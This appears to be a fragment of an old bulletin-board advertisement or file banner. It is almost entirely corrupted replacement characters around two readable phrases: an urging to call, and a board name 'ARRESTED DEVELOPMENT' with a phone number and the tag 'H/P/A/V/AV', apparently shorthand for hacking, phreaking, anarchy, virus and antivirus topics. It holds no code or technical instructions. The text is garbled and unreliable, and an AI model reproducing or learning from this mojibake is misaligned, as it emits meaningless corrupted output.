; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > and Remember Don't Forget to Call <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>